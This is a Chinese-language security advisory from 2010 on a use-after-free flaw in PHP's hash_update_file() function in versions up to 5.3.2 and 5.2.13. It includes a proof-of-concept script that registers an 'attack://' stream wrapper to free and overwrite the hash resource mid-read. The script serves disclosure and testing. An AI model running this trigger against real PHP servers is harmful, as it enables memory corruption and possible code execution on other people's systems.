PHP hash_update_file()函数访问已释放资源漏洞

来源:岁月联盟 编辑:猪蛋儿 时间:2010-05-07

影响版本:
PHP PHP <= 5.3.2
PHP PHP <= 5.2.13

漏洞描述:
PHP是广泛使用的通用目的脚本语言,特别适合于Web开发,可嵌入到HTML中。

在调用PHP的hash_update_file()函数时,该函数首先要检索资源数据,之后从流中读取数据执行哈希运算。恶意的用户空间流处理器可以从读处理器中释放哈希资源,并使用特制的伪造资源替换,其中可能包含有修改过的哈希函数指针表。当内部函数继续执行哈希计算时,就会调用已被覆盖的函数指针,导致执行恶意代码。

<*参考

http://php-security.org/2010/05/01/mops-2010-001-php-hash_update_file-already-freed-resource-access-vulnerability/index.html
*>
测试方法:

<?php
  define("OFFSET", pack("L",0x55555555));

  class AttackStream {
    function stream_open($path, $mode, $options, &$opened_path)
    {
      return true;
    }

    function stream_read($count)
    {
      hash_final($GLOBALS['hid'], true);
      $GLOBALS['aaaaaaaaaaaaaaaaaaaaaa'] = str_repeat(OFFSET, 3);
      return "A";
    }

    function stream_eof()
    {
      return true;
    }

    function stream_seek($offset, $whence)
    {
               return false;
    }
  }

  stream_wrapper_register("attack", "AttackStream") or die("Failed to register protocol");

  $hid = hash_init('md5');
  hash_update_file($hid, "attack://nothing");
?>

安全建议:
厂商补丁:

PHP
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.php.net